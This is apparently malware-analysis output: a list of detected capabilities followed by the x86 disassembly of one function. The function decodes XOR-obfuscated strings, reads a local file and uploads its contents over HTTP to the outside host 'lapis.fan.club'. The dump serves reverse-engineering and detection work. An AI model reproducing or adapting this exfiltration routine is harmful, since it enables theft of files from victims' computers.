Function at 0x402c10
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size
Read file on windows
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c4
mov eax, dword [0x40f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x398]
push eax
call fcn.004032d0
mov esi, 0xc1
lea ecx, [eax + 1]
mov dword [ebp - 0x3ac], ecx
mov edx, ecx
mov cl, byte [eax]
xor byte [edx], cl
inc edx
sub esi, 1
jne 0x402c42
movaps xmm0, xmmword [str.stSSSSSS_]
xor ecx, ecx
mov byte [eax + 0xc2], 0
movups xmmword [ebp - 0x224], xmm0
mov dword [ebp - 0x214], 0x464e5b07
mov dword [ebp - 0x210], 0x73535326
mov word [ebp - 0x20c], 0x74
mov al, byte [ebp - 0x224]
xor byte [ebp + ecx - 0x223], al
inc ecx
cmp ecx, 0x18
jb 0x402c80
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0x20b], 0
push eax
call fcn.00403470
mov edi, eax
mov esi, 0xa
lea ecx, [edi + 4]
movsx dx, byte [edi]
lea ecx, [ecx + 0xc]
xor word [ecx - 0xe], dx
movsx eax, byte [edi]
xor word [ecx - 0xc], ax
movsx eax, byte [edi]
xor word [ecx - 0xa], ax
movsx eax, byte [edi]
xor word [ecx - 8], ax
movsx eax, byte [edi]
xor word [ecx - 6], ax
movsx eax, byte [edi]
xor word [ecx - 4], ax
sub esi, 1
jne 0x402cb0
xor eax, eax
push 0x200
push eax
mov word [edi + 0x7a], ax
lea eax, [ebp - 0x208]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x3b4], esi
mov dword [ebp - 0x3b8], esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
push 1
push 0x400
call esi
push 1
push 0x400
mov ebx, eax
call esi
push 1
push 0x400
mov dword [ebp - 0x39c], eax
call esi
add esp, 0x18
mov dword [ebp - 0x3a4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
push esi
push esi
push 0x40f528
push esi
push dword [ebp - 0x3ac]
push 0x400
push ebx
call fcn.00401ce0
add esp, 0x1c
lea eax, [ebp - 0x223]
push esi
push eax
push 0x400
push dword [ebp - 0x39c]
call fcn.00401ce0
push esi
mov esi, dword [ebp - 0x3a4]
lea eax, [edi + 2]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
mov dword [ebp - 0x23c], 0x65642e51
lea eax, [ebp - 0x23b]
mov dword [ebp - 0x238], 0x2e677562
mov dword [ebp - 0x234], 0x676f6c
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x3bc], eax
cmp eax, 0xffffffff
je 0x40328f
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x3b0], eax
test eax, eax
je 0x40328f
push 0
push 0
push 0
push 0
push 0x40ca24
call dword [0x410544]
mov edi, eax
mov dword [ebp - 0x3ac], edi
test edi, edi
je 0x40328f
push 0
push 0x1388
push str.lapis.fan.club
push edi
call dword [0x410538]
mov dword [ebp - 0x3a8], eax
test eax, eax
je 0x403255
mov al, 9
mov word [ebp - 0x244], 9
movsx dx, al
xor eax, eax
mov word [ebp - 0x23e], ax
mov al, 0x7e
push pe_nt_image_headers32
mov ecx, edx
mov word [ebp - 0x250], 0x7e
xor ecx, 0x26
xor edx, 0x6f
mov word [ebp - 0x242], cx
movsx cx, al
mov word [ebp - 0x240], dx
mov eax, ecx
xor eax, 0x2e
mov word [ebp - 0x24e], ax
mov eax, ecx
xor eax, 0x31
mov word [ebp - 0x24c], ax
mov eax, ecx
xor eax, 0x2d
xor ecx, 0x2a
mov word [ebp - 0x24a], ax
xor eax, eax
push eax
push eax
push eax
mov word [ebp - 0x246], ax
lea eax, [ebp - 0x242]
push eax
lea eax, [ebp - 0x24e]
mov word [ebp - 0x248], cx
push eax
push dword [ebp - 0x3a8]
call dword [0x410548]
mov dword [ebp - 0x3a0], eax
test eax, eax
je 0x40320f
push 0x20000000
push 0xffffffffffffffff
push esi
push eax
call dword [0x410558]
xor eax, eax
mov dword [ebp - 0x230], 0x320071
mov dl, 0x71
mov dword [ebp - 0x22c], 0x1f001e
mov dword [ebp - 0x228], 0x14001f
xor ecx, ecx
mov dword [ebp - 0x224], 0x50012
mov dword [ebp - 0x220], 0x1e0018
mov dword [ebp - 0x21c], 0x4b001f
mov dword [ebp - 0x218], 0x120051
mov dword [ebp - 0x214], 0x1e001d
mov dword [ebp - 0x210], 0x140002
mov word [ebp - 0x20c], ax
nop dword [eax + eax]
movsx ax, dl
xor word [ebp + ecx*2 - 0x22e], ax
inc ecx
cmp ecx, 0x11
jae 0x402f6a
mov dl, byte [ebp - 0x230]
jmp 0x402f50
xor eax, eax
push 0xa0000000
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x22e]
push 0xffffffffffffffff
push eax
push dword [ebp - 0x3a0]
call dword [0x410558]
mov al, 0x3c
mov dword [ebp - 0x230], 0x7f003c
mov dword [ebp - 0x22c], 0x520053
xor ecx, ecx
mov dword [ebp - 0x228], 0x590048
mov dword [ebp - 0x224], 0x480052
mov dword [ebp - 0x220], 0x700011
mov dword [ebp - 0x21c], 0x520059
mov dword [ebp - 0x218], 0x48005b
mov dword [ebp - 0x214], 0x60054
mov dword [ebp - 0x210], 0x19001c
mov dword [ebp - 0x20c], 0x58
cbw
xor word [ebp + ecx*2 - 0x22e], ax
inc ecx
cmp ecx, 0x12
jae 0x40300d
mov al, byte [ebp - 0x230]
jmp 0x402ff5
mov ecx, ebx
xor eax, eax
mov word [ebp - 0x20a], ax
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403020
mov edi, dword [ebp - 0x39c]
sub ecx, edx
mov edx, edi
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x403034
sub edx, esi
push 1
lea eax, [edx + ecx]
add eax, dword [ebp - 0x3b0]
push eax
mov dword [ebp - 0x39c], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
push ebx
push dword [ebp - 0x39c]
mov esi, eax
push esi
mov dword [ebp - 0x3c4], esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov ecx, ebx
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403073
push 0
sub ecx, edx
lea eax, [ebp - 0x3b8]
push eax
push dword [ebp - 0x3b0]
lea eax, [ecx + esi]
push eax
push dword [ebp - 0x3bc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4030a0
sub edx, ecx
mov ecx, ebx
lea eax, [ecx + 1]
mov dword [ebp - 0x3c0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4030b4
sub ecx, dword [ebp - 0x3c0]
push edx
push edi
lea eax, [ecx + esi]
add eax, dword [ebp - 0x3b0]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x22e]
push dword [ebp - 0x39c]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x39c]
add esp, 0xc
push 0
push eax
push eax
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x3a0]
call dword [0x41053c]
test eax, eax
je 0x4031d3
mov esi, dword [ebp - 0x3a0]
push 0
push esi
call dword [0x410550]
lea eax, [ebp - 0x3b4]
push eax
push esi
call dword [0x410540]
push 1
push dword [ebp - 0x3b4]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
add esp, 8
mov esi, eax
lea eax, [ebp - 0x3b8]
push eax
push dword [ebp - 0x3b4]
push esi
push dword [ebp - 0x3a0]
call dword [0x41054c]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
add esp, 4
push ebx
call esi
add esp, 4
push edi
call esi
add esp, 4
push dword [ebp - 0x3a4]
call esi
add esp, 4
push dword [ebp - 0x3a0]
call dword [0x410554]
push dword [ebp - 0x3a8]
call dword [0x410554]
push dword [ebp - 0x3ac]
call dword [0x410554]
push dword [ebp - 0x3c4]
call esi
add esp, 4
push dword [ebp - 0x3bc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a67e
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x3a0]
call dword [0x410554]
push dword [ebp - 0x3a8]
call dword [0x410554]
push dword [ebp - 0x3ac]
call dword [0x410554]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
add esp, 4
push ebx
call esi
add esp, 4
push edi
jmp 0x4032a1
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push ebx
call esi
add esp, 4
push dword [ebp - 0x39c]
call esi
add esp, 4
push dword [ebp - 0x3a4]
call esi
add esp, 4
push edi
call dword [0x410554]
push dword [ebp - 0x3a8]
call dword [0x410554]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a67e
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push ebx
call esi
add esp, 4
push dword [ebp - 0x39c]
call esi
add esp, 4
push dword [ebp - 0x3a4]
call esi
add esp, 4
push edi
call dword [0x410554]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a67e
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push ebx
call esi
add esp, 4
push dword [ebp - 0x39c]
call esi
add esp, 4
push dword [ebp - 0x3a4]
call esi
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040a67e
mov esp, ebp
pop ebp
ret